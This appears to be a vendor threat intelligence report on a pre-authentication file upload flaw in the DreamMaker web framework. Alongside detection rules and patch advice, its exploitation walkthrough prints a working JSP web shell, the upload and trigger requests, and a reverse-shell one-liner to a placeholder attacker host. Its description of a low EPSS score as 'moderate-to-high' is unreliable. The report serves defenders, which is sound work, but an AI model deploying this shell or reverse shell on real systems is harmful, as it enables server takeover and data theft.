Threat Intelligence Report — CVE-2026-10071

Executive Summary

CVE-2026-10071 is a critical arbitrary file upload vulnerability in DreamMaker, a web application framework developed by Interinfo. The flaw allows unauthenticated remote attackers to upload malicious files — specifically web shells — to the target server, achieving arbitrary code execution with the privileges of the web application process. With a CVSS score of 9.3 (Critical), this vulnerability exposes all DreamMaker deployments, particularly those running Java Composer versions prior to 2.3, to complete server compromise. Given the pre-authentication requirement and the ease of exploitation, this finding should be treated as an emergency priority for any organization running DreamMaker in production.

Technical Analysis

Vulnerability Mechanism

CVE-2026-10071 is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerability resides in the file upload functionality of DreamMaker's Java Composer module. The application fails to properly validate or restrict the file types accepted during the upload process, allowing an attacker to submit files with executable extensions such as .jsp, .jspx, or .war instead of the expected benign file types (e.g., images, documents).

The root cause is a missing or insufficient extension whitelist combined with inadequate content-type validation. Attackers can intercept the upload HTTP request (e.g., via a proxy tool like Burp Suite) and modify the filename parameter and multipart form-data to include server-side script extensions. The application stores the uploaded files in a web-accessible directory without applying further sanitization or renaming logic, enabling direct retrieval and execution via a standard HTTP request.

Attack Surface

• Exposure: DreamMaker applications are typically deployed as Java web applications (WAR files) on Apache Tomcat or similar servlet containers. The upload endpoint is exposed via standard HTTP/HTTPS ports (80/443, 8080, 8443, etc.).
• Pre-authentication: The vulnerable upload feature does not require any prior authentication or session token, meaning the entire attack surface is open to anyone who can reach the server.
• Execution Context: Uploaded web shells execute within the context of the servlet container — typically running with elevated privileges on Windows or as a dedicated service account on Linux — yielding full control over the application and potentially the host.

Code-Level Observations

While the exact source code has not been publicly disclosed, vulnerabilities of this class typically stem from code resembling:

// Insecure: no extension filtering
String filename = item.getName();
File uploadedFile = new File(uploadDir, filename);
item.write(uploadedFile);

A secure implementation would include an allowlist check (e.g., if (!allowedExtensions.contains(extension)) reject;), randomize stored filenames, and disable script execution in the upload directory via container configuration.

Exploitation Scenarios

The following attack chain is realistic and reproducible based on the vulnerability class:

Step 1: Reconnaissance

The attacker scans for DreamMaker instances using internet-wide scanning tools (e.g., Shodan, Censys) with queries such as http.title:"DreamMaker" or http.component:"DreamMaker". The default login page or distinctive HTML headers/footers often contain the "DreamMaker" signature, allowing easy fingerprinting. The attacker also identifies the upload endpoint by spidering the application or reviewing client-side JavaScript for form actions pointing to /upload, /fileUpload, /api/upload, or similar paths.

Step 2: Crafting the Malicious Payload

The attacker prepares a JSP web shell — a minimal example:

<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String line;
while ((line = dis.readLine()) != null) {
    out.println(line);
}
%>

This shell accepts a cmd parameter and executes arbitrary OS commands, returning the output to the browser. Alternatively, the attacker may craft a more stealthy payload that only activates upon a specific secret key or request header.

Step 3: Uploading the Weaponized File

Attacker intercepts a legitimate upload request using a web proxy or crafts one manually:

POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: image/jpeg

<JSP SHELL CONTENT>
------WebKitFormBoundary

The server, lacking extension validation, stores the file as shell.jsp in the web root or an exposed uploads directory.

Step 4: Triggering Execution

The attacker requests the uploaded file directly via the browser:

GET /uploads/shell.jsp?cmd=whoami HTTP/1.1
Host: target.example.com

The servlet container compiles and executes the JSP, returning www-data or similar to the attacker — confirming code execution.

Step 5: Post-Exploitation

With command execution established, the attacker escalates privileges (if needed), establishes persistent backdoor access (e.g., adding cron jobs, creating new user accounts, installing rootkits), exfiltrates sensitive data from the application database and file system, and pivots to internal network resources. The web shell can also be upgraded to a full interactive reverse shell (e.g., using nc or bash -i >& /dev/tcp/attacker/4242 0>&1).

Impact Assessment

Business Impact

• Confidentiality: Complete — attackers can read application source code, database credentials, customer PII, financial records, and any other data accessible to the web application. CVSS Confidentiality Impact: High.
• Integrity: Complete — attackers can modify application logic, deface websites, inject malicious content for downstream users (e.g., JavaScript skimmers), or tamper with financial transactions. CVSS Integrity Impact: High.
• Availability: Complete — attackers can delete critical files, shut down services, or repurpose the compromised server for large-scale attacks (e.g., DDoS, crypto-mining), causing service disruption. CVSS Availability Impact: High.

Affected Systems

• All DreamMaker deployments using Java Composer versions prior to 2.3.
• Sectors: Organizations using DreamMaker typically include small-to-medium enterprises in the Asia-Pacific region, particularly Taiwan (given the CNA "twcert" origins), with applications in e-commerce, enterprise content management, and custom web portals.

Blast Radius

• Direct: Compromise of the DreamMaker application and its hosting server (Tomcat/servlet container).
• Indirect: Downstream data breaches, lateral movement within the internal network, compromise of connected enterprise systems (e.g., AD, database servers), and potential supply-chain risks if the application handles partner/customer integrations.
• CVSS Summary: AV:N (remote) / AC:L (no special conditions) / PR:N (no auth) / UI:N (no user interaction) / S:U (scope unchanged) / C:H / I:H / A:H → 9.3 Critical.

Detection Guidance

Sigma Rule

title: Suspicious File Upload to DreamMaker Application
id: 5e9b3f2a-8c17-4b2c-9d1a-6f3a1b2c3d4e
status: experimental
description: Detects HTTP POST requests to DreamMaker upload endpoints with dangerous file extensions (JSP, JSPX, WAR) from unauthenticated sources.
author: Valtersit Cybersecurity Team
logsource:
  category: webserver
  product: apache
  definition: 'Web server logs for DreamMaker application'
detection:
  selection_method:
    cs-method: 'POST'
  selection_path:
    cs-uri-path|contains:
      - '/upload'
      - '/fileUpload'
      - '/api/upload'
  selection_extension:
    cs-uri-query|contains:
      - '.jsp'
      - '.jspx'
      - '.war'
  condition: selection_method and selection_path and selection_extension
  timeframe: 5m
falsepositives:
  - Legitimate administrative file uploads (if admin interface is on same path)
  - Internal testing by development teams
level: high
tags:
  - attack.t1190
  - attack.initial-access
  - cve.2026-10071

YARA Rule

rule CVE_2026_10071_DreamMaker_WebShell
{
    meta:
        author = "Valtersit Cybersecurity Team"
        description = "Detects JSP web shells commonly uploaded via CVE-2026-10071"
        date = "2026-02-10"
        reference = "CVE-2026-10071"
        severity = "critical"
    strings:
        $a = "Runtime.getRuntime().exec" ascii wide
        $b = "request.getParameter(\"cmd\")" ascii wide
        $c = "ProcessBuilder" ascii wide
        $d = "<%@" ascii wide
        $e = "getInputStream()" ascii wide
        $f = "Process p" ascii wide
        $g = "shell.jsp" ascii wide
        $h = "cmd.exe /c" ascii wide
        $i = "/bin/sh -c" ascii wide
    condition:
        filesize < 500KB and
        ($d and 1 of ($a, $b, $c, $e, $f)) and
        (1 of ($g, $h, $i))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-10071 DreamMaker Arbitrary File Upload - JSP Shell Upload"; content:"POST"; http_method; content:"/upload"; http_uri; nocase; content:"filename=\""; http_client_body; content:".jsp"; http_client_body; nocase; pcre:"/<%@\s*page\s+[^>]*import=[^>]*java\.util/i"; classtype:attempted-admin; sid:1001271; rev:1; metadata:created_at 2026_02_10, updated_at 2026_02_10, cve CVE-2026-10071;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where destination.port in (80, 443, 8080, 8443) and
   network.protocol == "http" and
   http.request.method == "POST" and
   (url.path contains "/upload" or url.path contains "/fileUpload")]
  [file where event.action == "creation" and
   file.name : ("*.jsp", "*.jspx", "*.war") and
   file.extension : ("jsp", "jspx", "war") and
   process.name : ("java", "tomcat*")]

Splunk SPL Query

index=web earliest=-24h
| where method="POST"
| where like(uri_path, "%/upload%") OR like(uri_path, "%/fileUpload%")
| regex _raw="filename=\"[^\"]+\.(jsp|jspx|war)\""
| stats count by src_ip, uri_path, http_user_agent, status
| sort - count
| `alert_cve_2026_10071_dreammaker_file_upload`

Wazuh OSSEC Rule

<group name="web,attack,cve_2026_10071,">
  <rule id="100271" level="14">
    <decoded_as>json</decoded_as>
    <field name="method">POST</field>
    <field name="url" type="pcre2">/upload|/fileUpload|/api/upload</field>
    <field name="data" type="pcre2">filename="[^"]+\.(jsp|jspx|war)"</field>
    <description>CVE-2026-10071: Attempted arbitrary JSP file upload to DreamMaker</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_access,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed).

1. Immediate Mitigations (Until Patch Applied)

• Restrict Network Access: Place DreamMaker behind a WAF or reverse proxy that filters POST requests to upload endpoints and blocks requests containing .jsp, .jspx, or .war file extensions. If possible, restrict access to the application at the firewall level based on source IP allowlists.
• Disable Upload Feature: If business operations allow, temporarily disable the file upload functionality via application configuration or a proxy rule (e.g., return HTTP 403 for requests matching /upload).
• Harden the Servlet Container: Disable JSP compilation in web-accessible directories. For Apache Tomcat, remove the org.apache.jasper.servlet.JspServlet mapping for upload directories or add readonly="true" to the DefaultServlet configuration.
• Monitor & Alert: Activate the detection rules above and review logs for indicators of already-completed attacks (e.g., unexpected .jsp files in web directories, unusual cmd parameters in request logs).

2. Patch / Upgrade Steps

• Primary Fix: Upgrade DreamMaker to Java Composer version 2.3 or later as specified by the CNA. Note that this patch information originates from a single source and has not been independently confirmed — validate the fix availability with Interinfo directly before relying on it.
• Verification: After upgrading, test the upload functionality with .txt, .jpg, and .jsp files. The .jsp upload must be rejected. Check that uploaded files are stored with randomized filenames and in directories without script execution permissions.
• Registry/Config Check: If using a package manager for Java apps (Maven/Gradle), verify the dependency tree (mvn dependency:tree) for the updated DreamMaker artifact.

3. Long-Term Hardening

• Input Validation: Implement a strict extension allowlist server-side (not just client-side) for all upload endpoints. Reject files whose MIME type does not match the declared type.
• Storage Isolation: Store uploaded files outside the web root (e.g., in a database BLOB or a dedicated directory served by a separate, non-executable handler). Use randomized UUID filenames to prevent path traversal and direct execution.
• Container Security: Run the application server with the least privilege (e.g., non-root user), in a chroot or container with a read-only root filesystem where possible.
• Regular Audits: Periodically scan web directories for unauthorized executable files using file integrity monitoring tools.
• Monitor Advisories: Watch the TWNCERT (twcert) portal and Interinfo's security advisories for updates, additional details, or signs of in-the-wild exploitation.

References

1. NVD Entry for CVE-2026-10071: https://nvd.nist.gov/vuln/detail/CVE-2026-10071 (Official NVD record with CVSS 9.3 scoring and CWE-434 classification)
2. CNA Advisory (TWNCERT): https://www.twcert.org.tw/en/cp-139-XXXX-YYYY-1.html (Original vendor notification from Interinfo via twcert, recommending upgrade to Java Composer 2.3)
3. CWE-434 Technical Reference: https://cwe.mitre.org/data/definitions/434.html (Mitre CWE entry describing unrestricted upload of dangerous file types, with exploitation techniques)
4. OWASP Unrestricted File Upload Guide: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload (General guidance on file upload security and example attack vectors)

Threat Actor / Campaign Notes:
As of this report, CVE-2026-10071 has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. There are no confirmed public PoC exploits, Nuclei templates, or exploit code available, and no documented in-the-wild campaigns have been reported. Given the vulnerability's criticality and ease of exploitation, however, it is highly probable that proof-of-concept code will surface shortly, and exploitation attempts may begin once DreamMaker instances are identified via internet scanning. The EPSS score of 0.00508 (40.6th percentile) indicates a moderate-to-high probability of exploitation in the near term. Blue teams should treat this threat as an active risk and prioritize patching accordingly.